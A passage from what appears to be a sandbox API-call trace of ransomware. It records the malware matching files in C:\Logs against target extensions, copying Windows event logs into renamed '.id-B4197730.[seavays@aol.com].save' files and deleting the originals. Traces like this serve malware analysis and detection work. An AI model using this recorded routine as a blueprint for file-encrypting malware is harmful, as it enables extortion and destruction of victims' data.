(lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.627] lstrlenW (lpString=".jpg") returned 4 [0064.627] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.627] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.627] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.627] lstrlenW (lpString=".doc") returned 4 [0064.627] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.627] lstrlenW (lpString=".docx") returned 5 [0064.627] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.627] lstrlenW (lpString=".pdf") returned 4 [0064.627] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.627] lstrlenW (lpString=".xls") returned 4 [0064.627] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.627] lstrlenW (lpString=".xlsx") returned 5 [0064.627] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.627] lstrlenW (lpString=".ppt") returned 4 [0064.627] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.627] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.627] lstrlenW (lpString=".zip") returned 4 [0064.627] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.627] lstrlenW (lpString=".rar") returned 4 [0064.627] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.627] lstrlenW (lpString=".bz2") returned 4 [0064.627] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.628] lstrlenW (lpString=".7z") returned 3 [0064.628] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.628] lstrlenW (lpString=".dbf") returned 4 [0064.628] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.628] lstrlenW (lpString=".1cd") returned 4 [0064.628] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.628] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0064.628] lstrlenW (lpString=".jpg") returned 4 [0064.628] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.628] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.628] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0064.628] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0064.628] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0064.628] CloseHandle (hObject=0x390) returned 1 [0064.628] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0064.629] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.629] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0064.629] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.629] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.629] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0064.629] GetLastError () returned 0x0 [0064.629] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.032] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.034] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.034] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x130, lpOverlapped=0x0) returned 1 [0065.034] SetEndOfFile (hFile=0x398) returned 1 [0065.288] CloseHandle (hObject=0x398) returned 1 [0065.292] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.292] SetEndOfFile (hFile=0x390) returned 1 [0065.294] CloseHandle (hObject=0x390) returned 1 [0065.294] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.294] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0065.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.295] lstrlenW (lpString=".doc") returned 4 [0065.295] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.295] lstrlenW (lpString=".docx") returned 5 [0065.295] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.295] lstrlenW (lpString=".pdf") returned 4 [0065.295] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.295] lstrlenW (lpString=".xls") returned 4 [0065.295] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.295] lstrlenW (lpString=".xlsx") returned 5 [0065.295] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.295] lstrlenW (lpString=".ppt") returned 4 [0065.295] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.295] lstrlenW (lpString=".zip") returned 4 [0065.295] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.295] lstrlenW (lpString=".rar") returned 4 [0065.295] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.295] lstrlenW (lpString=".bz2") returned 4 [0065.295] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.296] lstrlenW (lpString=".7z") returned 3 [0065.296] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.296] lstrlenW (lpString=".dbf") returned 4 [0065.296] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.296] lstrlenW (lpString=".1cd") returned 4 [0065.296] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.296] lstrlenW (lpString=".jpg") returned 4 [0065.296] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.296] lstrlenW (lpString=".doc") returned 4 [0065.296] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.296] lstrlenW (lpString=".docx") returned 5 [0065.296] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.296] lstrlenW (lpString=".pdf") returned 4 [0065.296] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.296] lstrlenW (lpString=".xls") returned 4 [0065.296] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.296] lstrlenW (lpString=".xlsx") returned 5 [0065.296] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.296] lstrlenW (lpString=".ppt") returned 4 [0065.297] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.297] lstrlenW (lpString=".zip") returned 4 [0065.297] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.297] lstrlenW (lpString=".rar") returned 4 [0065.297] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.297] lstrlenW (lpString=".bz2") returned 4 [0065.297] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.297] lstrlenW (lpString=".7z") returned 3 [0065.297] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.297] lstrlenW (lpString=".dbf") returned 4 [0065.297] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.297] lstrlenW (lpString=".1cd") returned 4 [0065.297] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0065.297] lstrlenW (lpString=".jpg") returned 4 [0065.297] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.297] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.297] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0065.297] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0065.298] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0065.299] CloseHandle (hObject=0x390) returned 1 [0065.299] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0065.299] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.299] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0065.299] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.299] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.299] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0065.300] GetLastError () returned 0x0 [0065.300] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.303] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.305] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.305] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x160, lpOverlapped=0x0) returned 1 [0065.305] SetEndOfFile (hFile=0x398) returned 1 [0065.305] CloseHandle (hObject=0x398) returned 1 [0065.309] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.309] SetEndOfFile (hFile=0x390) returned 1 [0065.310] CloseHandle (hObject=0x390) returned 1 [0065.310] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.311] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0065.311] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.311] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.311] lstrlenW (lpString=".doc") returned 4 [0065.311] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.311] lstrlenW (lpString=".docx") returned 5 [0065.311] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.311] lstrlenW (lpString=".pdf") returned 4 [0065.311] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.311] lstrlenW (lpString=".xls") returned 4 [0065.311] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.311] lstrlenW (lpString=".xlsx") returned 5 [0065.311] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.312] lstrlenW (lpString=".ppt") returned 4 [0065.312] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.312] lstrlenW (lpString=".zip") returned 4 [0065.312] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.312] lstrlenW (lpString=".rar") returned 4 [0065.312] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.312] lstrlenW (lpString=".bz2") returned 4 [0065.313] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.313] lstrlenW (lpString=".7z") returned 3 [0065.313] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.313] lstrlenW (lpString=".dbf") returned 4 [0065.313] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.313] lstrlenW (lpString=".1cd") returned 4 [0065.313] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.313] lstrlenW (lpString=".jpg") returned 4 [0065.313] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.313] lstrlenW (lpString=".doc") returned 4 [0065.313] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.313] lstrlenW (lpString=".docx") returned 5 [0065.313] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.313] lstrlenW (lpString=".pdf") returned 4 [0065.313] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.313] lstrlenW (lpString=".xls") returned 4 [0065.313] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.313] lstrlenW (lpString=".xlsx") returned 5 [0065.313] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.313] lstrlenW (lpString=".ppt") returned 4 [0065.314] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.314] lstrlenW (lpString=".zip") returned 4 [0065.314] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.314] lstrlenW (lpString=".rar") returned 4 [0065.314] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.314] lstrlenW (lpString=".bz2") returned 4 [0065.314] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.314] lstrlenW (lpString=".7z") returned 3 [0065.314] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.314] lstrlenW (lpString=".dbf") returned 4 [0065.314] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.314] lstrlenW (lpString=".1cd") returned 4 [0065.314] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0065.314] lstrlenW (lpString=".jpg") returned 4 [0065.314] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.314] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.314] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0065.314] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0065.316] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0065.316] CloseHandle (hObject=0x390) returned 1 [0065.316] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0065.316] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.316] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0065.317] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.317] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.317] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0065.318] GetLastError () returned 0x0 [0065.318] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.818] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.821] ReadFile (in: hFile=0x390, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.823] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x16c, lpOverlapped=0x0) returned 1 [0065.823] SetEndOfFile (hFile=0x398) returned 1 [0066.094] CloseHandle (hObject=0x398) returned 1 [0066.096] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.096] SetEndOfFile (hFile=0x390) returned 1 [0066.097] CloseHandle (hObject=0x390) returned 1 [0066.097] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0066.938] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0066.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.938] lstrlenW (lpString=".doc") returned 4 [0066.938] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.938] lstrlenW (lpString=".docx") returned 5 [0066.938] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.938] lstrlenW (lpString=".pdf") returned 4 [0066.938] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.938] lstrlenW (lpString=".xls") returned 4 [0066.938] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.938] lstrlenW (lpString=".xlsx") returned 5 [0066.938] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.938] lstrlenW (lpString=".ppt") returned 4 [0066.939] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.939] lstrlenW (lpString=".zip") returned 4 [0066.939] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.939] lstrlenW (lpString=".rar") returned 4 [0066.939] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.939] lstrlenW (lpString=".bz2") returned 4 [0066.939] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.939] lstrlenW (lpString=".7z") returned 3 [0066.939] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.939] lstrlenW (lpString=".dbf") returned 4 [0066.939] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.939] lstrlenW (lpString=".1cd") returned 4 [0066.939] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.939] lstrlenW (lpString=".jpg") returned 4 [0066.939] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0066.939] lstrlenW (lpString=".doc") returned 4 [0066.939] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.939] lstrlenW (lpString=".docx") returned 5 [0066.940] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.940] lstrlenW (lpString=".pdf") returned 4 [0066.940] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.940] lstrlenW (lpString=".xls") returned 4 [0066.940] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.940] lstrlenW (lpString=".xlsx") returned 5 [0066.940] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.940] lstrlenW (lpString=".ppt") returned 4 [0066.940] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 